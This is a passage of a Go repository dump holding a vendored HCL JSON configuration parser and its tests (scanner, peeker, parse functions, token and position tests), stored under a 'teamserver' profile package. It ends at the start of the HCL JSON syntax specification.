}}, 1, }, { `]`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `[true,]`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `[[],]`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `["hello":true]`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `[true}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"wrong"=true}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"wrong" = true}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"wrong" true}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, } for _, test := range tests { t.Run(test.Input, func(t *testing.T) { got, diag := parseFileContent([]byte(test.Input), "", hcl.Pos{Byte: 0, Line: 1, Column: 1}) if len(diag) != test.DiagCount { t.Errorf("got %d diagnostics; want %d", len(diag), test.DiagCount) for _, d := range diag { t.Logf(" - %s", d.Error()) } } if diff := deep.Equal(got, test.Want); diff != nil { for _, problem := range diff { t.Error(problem) } } }) } } func TestParseWithPos(t *testing.T) { tests := []struct { Input string StartPos hcl.Pos Want node DiagCount int }{ // Simple, single-token constructs { `true`, hcl.Pos{Byte: 0, Line: 3, Column: 10}, &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 3, Column: 10, Byte: 0}, End: hcl.Pos{Line: 3, Column: 14, Byte: 4}, }, }, 0, }, } for _, test := range tests { t.Run(test.Input, func(t *testing.T) { got, diag := parseFileContent([]byte(test.Input), "", test.StartPos) if len(diag) != test.DiagCount { t.Errorf("got %d diagnostics; want %d", len(diag), test.DiagCount) for _, d := range diag { t.Logf(" - %s", d.Error()) } } if diff := deep.Equal(got, test.Want); diff != nil { for _, problem := range diff { t.Error(problem) } } }) } } func mustBigFloat(s string) *big.Float { f, _, err := (&big.Float{}).Parse(s, 10) if err != nil { panic(err) } return f } ================================================ FILE: teamserver/pkg/profile/yaotl/json/peeker.go ================================================ package json type peeker struct { tokens []token pos int } func newPeeker(tokens []token) *peeker { return &peeker{ tokens: tokens, pos: 0, } } func (p *peeker) Peek() token { return p.tokens[p.pos] } func (p *peeker) Read() token { ret := p.tokens[p.pos] if ret.Type != tokenEOF { p.pos++ } return ret } ================================================ FILE: teamserver/pkg/profile/yaotl/json/public.go ================================================ package json import ( "fmt" "io/ioutil" "os" "Havoc/pkg/profile/yaotl" ) // Parse attempts to parse the given buffer as JSON and, if successful, returns // a hcl.File for the HCL configuration represented by it. // // This is not a generic JSON parser. Instead, it deals only with the profile // of JSON used to express HCL configuration. // // The returned file is valid only if the returned diagnostics returns false // from its HasErrors method. If HasErrors returns true, the file represents // the subset of data that was able to be parsed, which may be none. func Parse(src []byte, filename string) (*hcl.File, hcl.Diagnostics) { return ParseWithStartPos(src, filename, hcl.Pos{Byte: 0, Line: 1, Column: 1}) } // ParseWithStartPos attempts to parse like json.Parse, but unlike json.Parse // you can pass a start position of the given JSON as a hcl.Pos. // // In most cases json.Parse should be sufficient, but it can be useful for parsing // a part of JSON with correct positions. func ParseWithStartPos(src []byte, filename string, start hcl.Pos) (*hcl.File, hcl.Diagnostics) { rootNode, diags := parseFileContent(src, filename, start) switch rootNode.(type) { case *objectVal, *arrayVal: // okay default: diags = diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Root value must be object", Detail: "The root value in a JSON-based configuration must be either a JSON object or a JSON array of objects.", Subject: rootNode.StartRange().Ptr(), }) // Since we've already produced an error message for this being // invalid, we'll return an empty placeholder here so that trying to // extract content from our root body won't produce a redundant // error saying the same thing again in more general terms. fakePos := hcl.Pos{ Byte: 0, Line: 1, Column: 1, } fakeRange := hcl.Range{ Filename: filename, Start: fakePos, End: fakePos, } rootNode = &objectVal{ Attrs: []*objectAttr{}, SrcRange: fakeRange, OpenRange: fakeRange, } } file := &hcl.File{ Body: &body{ val: rootNode, }, Bytes: src, Nav: navigation{rootNode}, } return file, diags } // ParseExpression parses the given buffer as a standalone JSON expression, // returning it as an instance of Expression. func ParseExpression(src []byte, filename string) (hcl.Expression, hcl.Diagnostics) { return ParseExpressionWithStartPos(src, filename, hcl.Pos{Byte: 0, Line: 1, Column: 1}) } // ParseExpressionWithStartPos parses like json.ParseExpression, but unlike // json.ParseExpression you can pass a start position of the given JSON // expression as a hcl.Pos. func ParseExpressionWithStartPos(src []byte, filename string, start hcl.Pos) (hcl.Expression, hcl.Diagnostics) { node, diags := parseExpression(src, filename, start) return &expression{src: node}, diags } // ParseFile is a convenience wrapper around Parse that first attempts to load // data from the given filename, passing the result to Parse if successful. // // If the file cannot be read, an error diagnostic with nil context is returned. func ParseFile(filename string) (*hcl.File, hcl.Diagnostics) { f, err := os.Open(filename) if err != nil { return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Failed to open file", Detail: fmt.Sprintf("The file %q could not be opened.", filename), }, } } defer f.Close() src, err := ioutil.ReadAll(f) if err != nil { return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Failed to read file", Detail: fmt.Sprintf("The file %q was opened, but an error occurred while reading it.", filename), }, } } return Parse(src, filename) } ================================================ FILE: teamserver/pkg/profile/yaotl/json/public_test.go ================================================ package json import ( "fmt" "strings" "testing" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) func TestParse_nonObject(t *testing.T) { src := `true` file, diags := Parse([]byte(src), "") if len(diags) != 1 { t.Errorf("got %d diagnostics; want 1", len(diags)) } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } if file.Body.(*body).val == nil { t.Errorf("got nil Body object; want placeholder object") } } func TestParseTemplate(t *testing.T) { src := `{"greeting": "hello ${\"world\"}"}` file, diags := Parse([]byte(src), "") if len(diags) != 0 { t.Errorf("got %d diagnostics on parse; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } attrs, diags := file.Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } val, diags := attrs["greeting"].Expr.Value(&hcl.EvalContext{}) if len(diags) != 0 { t.Errorf("got %d diagnostics on eval; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if !val.RawEquals(cty.StringVal("hello world")) { t.Errorf("wrong result %#v; want %#v", val, cty.StringVal("hello world")) } } func TestParseTemplateUnwrap(t *testing.T) { src := `{"greeting": "${true}"}` file, diags := Parse([]byte(src), "") if len(diags) != 0 { t.Errorf("got %d diagnostics on parse; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } attrs, diags := file.Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } val, diags := attrs["greeting"].Expr.Value(&hcl.EvalContext{}) if len(diags) != 0 { t.Errorf("got %d diagnostics on eval; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if !val.RawEquals(cty.True) { t.Errorf("wrong result %#v; want %#v", val, cty.True) } } func TestParse_malformed(t *testing.T) { src := `{ "http_proxy_url: "http://xxxxxx", }` file, diags := Parse([]byte(src), "") if got, want := len(diags), 2; got != want { t.Errorf("got %d diagnostics; want %d", got, want) } if err, want := diags.Error(), `Missing property value colon`; !strings.Contains(err, want) { t.Errorf("diags are %q, but should contain %q", err, want) } if file == nil { t.Errorf("got nil File; want actual file") } } func TestParseWithStartPos(t *testing.T) { src := `{ "foo": { "bar": "baz" } }` part := `{ "bar": "baz" }` file, diags := Parse([]byte(src), "") partFile, partDiags := ParseWithStartPos([]byte(part), "", hcl.Pos{Byte: 0, Line: 2, Column: 10}) if len(diags) != 0 { t.Errorf("got %d diagnostics on parse src; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if len(partDiags) != 0 { t.Errorf("got %d diagnostics on parse part src; want 0", len(partDiags)) for _, diag := range partDiags { t.Logf("- %s", diag.Error()) } } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } if partFile == nil { t.Errorf("got nil part File; want actual file") } if partFile.Body == nil { t.Fatalf("got nil part Body; want actual body") } content, diags := file.Body.Content(&hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{{Type: "foo"}}, }) if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } attrs, diags := content.Blocks[0].Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } srcRange := attrs["bar"].Expr.Range() partAttrs, diags := partFile.Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } partRange := partAttrs["bar"].Expr.Range() if srcRange.String() != partRange.String() { t.Errorf("The two ranges did not match: src=%s, part=%s", srcRange, partRange) } } func TestParseExpression(t *testing.T) { tests := []struct { Input string Want string }{ { `"hello"`, `cty.StringVal("hello")`, }, { `"hello ${noun}"`, `cty.StringVal("hello world")`, }, { "true", "cty.True", }, { "false", "cty.False", }, { "1", "cty.NumberIntVal(1)", }, { "{}", "cty.EmptyObjectVal", }, { `{"foo":"bar","baz":1}`, `cty.ObjectVal(map[string]cty.Value{"baz":cty.NumberIntVal(1), "foo":cty.StringVal("bar")})`, }, { "[]", "cty.EmptyTupleVal", }, { `["1",2,3]`, `cty.TupleVal([]cty.Value{cty.StringVal("1"), cty.NumberIntVal(2), cty.NumberIntVal(3)})`, }, } for _, test := range tests { t.Run(test.Input, func(t *testing.T) { expr, diags := ParseExpression([]byte(test.Input), "") if diags.HasErrors() { t.Errorf("got %d diagnostics; want 0", len(diags)) for _, d := range diags { t.Logf(" - %s", d.Error()) } } value, diags := expr.Value(&hcl.EvalContext{ Variables: map[string]cty.Value{ "noun": cty.StringVal("world"), }, }) if diags.HasErrors() { t.Errorf("got %d diagnostics on decode value; want 0", len(diags)) for _, d := range diags { t.Logf(" - %s", d.Error()) } } got := fmt.Sprintf("%#v", value) if got != test.Want { t.Errorf("got %s, but want %s", got, test.Want) } }) } } func TestParseExpression_malformed(t *testing.T) { src := `invalid` expr, diags := ParseExpression([]byte(src), "") if got, want := len(diags), 1; got != want { t.Errorf("got %d diagnostics; want %d", got, want) } if err, want := diags.Error(), `Invalid JSON keyword`; !strings.Contains(err, want) { t.Errorf("diags are %q, but should contain %q", err, want) } if expr == nil { t.Errorf("got nil Expression; want actual expression") } } func TestParseExpressionWithStartPos(t *testing.T) { src := `{ "foo": "bar" }` part := `"bar"` file, diags := Parse([]byte(src), "") partExpr, partDiags := ParseExpressionWithStartPos([]byte(part), "", hcl.Pos{Byte: 0, Line: 2, Column: 10}) if len(diags) != 0 { t.Errorf("got %d diagnostics on parse src; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if len(partDiags) != 0 { t.Errorf("got %d diagnostics on parse part src; want 0", len(partDiags)) for _, diag := range partDiags { t.Logf("- %s", diag.Error()) } } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Errorf("got nil Body: want actual body") } if partExpr == nil { t.Errorf("got nil Expression; want actual expression") } content, diags := file.Body.Content(&hcl.BodySchema{ Attributes: []hcl.AttributeSchema{{Name: "foo"}}, }) if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } expr := content.Attributes["foo"].Expr if expr.Range().String() != partExpr.Range().String() { t.Errorf("The two ranges did not match: src=%s, part=%s", expr.Range(), partExpr.Range()) } } ================================================ FILE: teamserver/pkg/profile/yaotl/json/scanner.go ================================================ package json import ( "fmt" "github.com/apparentlymart/go-textseg/v13/textseg" "Havoc/pkg/profile/yaotl" ) //go:generate stringer -type tokenType scanner.go type tokenType rune const ( tokenBraceO tokenType = '{' tokenBraceC tokenType = '}' tokenBrackO tokenType = '[' tokenBrackC tokenType = ']' tokenComma tokenType = ',' tokenColon tokenType = ':' tokenKeyword tokenType = 'K' tokenString tokenType = 'S' tokenNumber tokenType = 'N' tokenEOF tokenType = '␄' tokenInvalid tokenType = 0 tokenEquals tokenType = '=' // used only for reminding the user of JSON syntax ) type token struct { Type tokenType Bytes []byte Range hcl.Range } // scan returns the primary tokens for the given JSON buffer in sequence. // // The responsibility of this pass is to just mark the slices of the buffer // as being of various types. It is lax in how it interprets the multi-byte // token types keyword, string and number, preferring to capture erroneous // extra bytes that we presume the user intended to be part of the token // so that we can generate more helpful diagnostics in the parser. func scan(buf []byte, start pos) []token { var tokens []token p := start for { if len(buf) == 0 { tokens = append(tokens, token{ Type: tokenEOF, Bytes: nil, Range: posRange(p, p), }) return tokens } buf, p = skipWhitespace(buf, p) if len(buf) == 0 { tokens = append(tokens, token{ Type: tokenEOF, Bytes: nil, Range: posRange(p, p), }) return tokens } start = p first := buf[0] switch { case first == '{' || first == '}' || first == '[' || first == ']' || first == ',' || first == ':' || first == '=': p.Pos.Column++ p.Pos.Byte++ tokens = append(tokens, token{ Type: tokenType(first), Bytes: buf[0:1], Range: posRange(start, p), }) buf = buf[1:] case first == '"': var tokBuf []byte tokBuf, buf, p = scanString(buf, p) tokens = append(tokens, token{ Type: tokenString, Bytes: tokBuf, Range: posRange(start, p), }) case byteCanStartNumber(first): var tokBuf []byte tokBuf, buf, p = scanNumber(buf, p) tokens = append(tokens, token{ Type: tokenNumber, Bytes: tokBuf, Range: posRange(start, p), }) case byteCanStartKeyword(first): var tokBuf []byte tokBuf, buf, p = scanKeyword(buf, p) tokens = append(tokens, token{ Type: tokenKeyword, Bytes: tokBuf, Range: posRange(start, p), }) default: tokens = append(tokens, token{ Type: tokenInvalid, Bytes: buf[:1], Range: start.Range(1, 1), }) // If we've encountered an invalid then we might as well stop // scanning since the parser won't proceed beyond this point. // We insert a synthetic EOF marker here to match the expectations // of consumers of this data structure. p.Pos.Column++ p.Pos.Byte++ tokens = append(tokens, token{ Type: tokenEOF, Bytes: nil, Range: posRange(p, p), }) return tokens } } } func byteCanStartNumber(b byte) bool { switch b { // We are slightly more tolerant than JSON requires here since we // expect the parser will make a stricter interpretation of the // number bytes, but we specifically don't allow 'e' or 'E' here // since we want the scanner to treat that as the start of an // invalid keyword instead, to produce more intelligible error messages. case '-', '+', '.', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9': return true default: return false } } func scanNumber(buf []byte, start pos) ([]byte, []byte, pos) { // The scanner doesn't check that the sequence of digit-ish bytes is // in a valid order. The parser must do this when decoding a number // token. var i int p := start Byte: for i = 0; i < len(buf); i++ { switch buf[i] { case '-', '+', '.', 'e', 'E', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9': p.Pos.Byte++ p.Pos.Column++ default: break Byte } } return buf[:i], buf[i:], p } func byteCanStartKeyword(b byte) bool { switch { // We allow any sequence of alphabetical characters here, even though // JSON is more constrained, so that we can collect what we presume // the user intended to be a single keyword and then check its validity // in the parser, where we can generate better diagnostics. // So e.g. we want to be able to say: // unrecognized keyword "True". Did you mean "true"? case isAlphabetical(b): return true default: return false } } func scanKeyword(buf []byte, start pos) ([]byte, []byte, pos) { var i int p := start Byte: for i = 0; i < len(buf); i++ { b := buf[i] switch { case isAlphabetical(b) || b == '_': p.Pos.Byte++ p.Pos.Column++ default: break Byte } } return buf[:i], buf[i:], p } func scanString(buf []byte, start pos) ([]byte, []byte, pos) { // The scanner doesn't validate correct use of escapes, etc. It pays // attention to escapes only for the purpose of identifying the closing // quote character. It's the parser's responsibility to do proper // validation. // // The scanner also doesn't specifically detect unterminated string // literals, though they can be identified in the parser by checking if // the final byte in a string token is the double-quote character. // Skip the opening quote symbol i := 1 p := start p.Pos.Byte++ p.Pos.Column++ escaping := false Byte: for i < len(buf) { b := buf[i] switch { case b == '\\': escaping = !escaping p.Pos.Byte++ p.Pos.Column++ i++ case b == '"': p.Pos.Byte++ p.Pos.Column++ i++ if !escaping { break Byte } escaping = false case b < 32: break Byte default: // Advance by one grapheme cluster, so that we consider each // grapheme to be a "column". // Ignoring error because this scanner cannot produce errors. advance, _, _ := textseg.ScanGraphemeClusters(buf[i:], true) p.Pos.Byte += advance p.Pos.Column++ i += advance escaping = false } } return buf[:i], buf[i:], p } func skipWhitespace(buf []byte, start pos) ([]byte, pos) { var i int p := start Byte: for i = 0; i < len(buf); i++ { switch buf[i] { case ' ': p.Pos.Byte++ p.Pos.Column++ case '\n': p.Pos.Byte++ p.Pos.Column = 1 p.Pos.Line++ case '\r': // For the purpose of line/column counting we consider a // carriage return to take up no space, assuming that it will // be paired up with a newline (on Windows, for example) that // will account for both of them. p.Pos.Byte++ case '\t': // We arbitrarily count a tab as if it were two spaces, because // we need to choose _some_ number here. This means any system // that renders code on-screen with markers must itself treat // tabs as a pair of spaces for rendering purposes, or instead // use the byte offset and back into its own column position. p.Pos.Byte++ p.Pos.Column += 2 default: break Byte } } return buf[i:], p } type pos struct { Filename string Pos hcl.Pos } func (p *pos) Range(byteLen, charLen int) hcl.Range { start := p.Pos end := p.Pos end.Byte += byteLen end.Column += charLen return hcl.Range{ Filename: p.Filename, Start: start, End: end, } } func posRange(start, end pos) hcl.Range { return hcl.Range{ Filename: start.Filename, Start: start.Pos, End: end.Pos, } } func (t token) GoString() string { return fmt.Sprintf("json.token{json.%s, []byte(%q), %#v}", t.Type, t.Bytes, t.Range) } func isAlphabetical(b byte) bool { return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z') } ================================================ FILE: teamserver/pkg/profile/yaotl/json/scanner_test.go ================================================ package json import ( "bytes" "fmt" "reflect" "testing" "Havoc/pkg/profile/yaotl" ) func TestScan(t *testing.T) { tests := []struct { Input string Want []token }{ { ``, []token{ { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, }, }, }, }, { ` `, []token{ { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, }, }, }, }, { `{}`, []token{ { Type: tokenBraceO, Bytes: []byte(`{`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenBraceC, Bytes: []byte(`}`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, }, }, { `][`, []token{ { Type: tokenBrackC, Bytes: []byte(`]`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenBrackO, Bytes: []byte(`[`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, }, }, { `:,`, []token{ { Type: tokenColon, Bytes: []byte(`:`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenComma, Bytes: []byte(`,`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, }, }, { `1`, []token{ { Type: tokenNumber, Bytes: []byte(`1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, }, }, { ` 1`, []token{ { Type: tokenNumber, Bytes: []byte(`1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, }, }, }, }, { ` 12`, []token{ { Type: tokenNumber, Bytes: []byte(`12`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, End: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, }, }, }, }, { `1 2`, []token{ { Type: tokenNumber, Bytes: []byte(`1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenNumber, Bytes: []byte(`2`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, }, }, }, }, { "\n1\n 2", []token{ { Type: tokenNumber, Bytes: []byte(`1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 2, Column: 1, }, End: hcl.Pos{ Byte: 2, Line: 2, Column: 2, }, }, }, { Type: tokenNumber, Bytes: []byte(`2`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 4, Line: 3, Column: 2, }, End: hcl.Pos{ Byte: 5, Line: 3, Column: 3, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 5, Line: 3, Column: 3, }, End: hcl.Pos{ Byte: 5, Line: 3, Column: 3, }, }, }, }, }, { `-1 2.5`, []token{ { Type: tokenNumber, Bytes: []byte(`-1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, { Type: tokenNumber, Bytes: []byte(`2.5`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, End: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, }, }, }, }, { `true`, []token{ { Type: tokenKeyword, Bytes: []byte(`true`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, End: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, }, }, }, }, { `[true]`, []token{ { Type: tokenBrackO, Bytes: []byte(`[`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenKeyword, Bytes: []byte(`true`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 5, Line: 1, Column: 6, }, }, }, { Type: tokenBrackC, Bytes: []byte(`]`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 5, Line: 1, Column: 6, }, End: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, End: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, }, }, }, }, { `""`, []token{ { Type: tokenString, Bytes: []byte(`""`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, }, }, { `"hello"`, []token{ { Type: tokenString, Bytes: []byte(`"hello"`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 7, Line: 1, Column: 8, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 7, Line: 1, Column: 8, }, End: hcl.Pos{ Byte: 7, Line: 1, Column: 8, }, }, }, }, }, { `"he\"llo"`, []token{ { Type: tokenString, Bytes: []byte(`"he\"llo"`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 9, Line: 1, Column: 10, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 9, Line: 1, Column: 10, }, End: hcl.Pos{ Byte: 9, Line: 1, Column: 10, }, }, }, }, }, { `"hello\\" 1`, []token{ { Type: tokenString, Bytes: []byte(`"hello\\"`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 9, Line: 1, Column: 10, }, }, }, { Type: tokenNumber, Bytes: []byte(`1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 10, Line: 1, Column: 11, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, }, }, }, { `"🇬🇧"`, []token{ { Type: tokenString, Bytes: []byte(`"🇬🇧"`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 10, Line: 1, Column: 4, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 10, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 10, Line: 1, Column: 4, }, }, }, }, }, { `"á́́́́́́́"`, []token{ { Type: tokenString, Bytes: []byte(`"á́́́́́́́"`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 19, Line: 1, Column: 4, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 19, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 19, Line: 1, Column: 4, }, }, }, }, }, { `&`, []token{ { Type: tokenInvalid, Bytes: []byte(`&`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, }, }, } for _, test := range tests { t.Run(test.Input, func(t *testing.T) { buf := []byte(test.Input) start := pos{ Filename: "", Pos: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, } got := scan(buf, start) if !reflect.DeepEqual(got, test.Want) { errMsg := &bytes.Buffer{} errMsg.WriteString("wrong result\ngot:\n") if len(got) == 0 { errMsg.WriteString(" (empty slice)\n") } for _, tok := range got { fmt.Fprintf(errMsg, " - %#v\n", tok) } errMsg.WriteString("want:\n") if len(test.Want) == 0 { errMsg.WriteString(" (empty slice)\n") } for _, tok := range test.Want { fmt.Fprintf(errMsg, " - %#v\n", tok) } t.Error(errMsg.String()) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/json/spec.md ================================================ # HCL JSON Syntax Specification This is the specification for the JSON serialization for hcl. HCL is a system for defining configuration languages for applications. The HCL information model is designed to support multiple concrete syntaxes for configuration, and this JSON-based format complements [the native syntax](../hclsyntax/spec.md) by being easy to 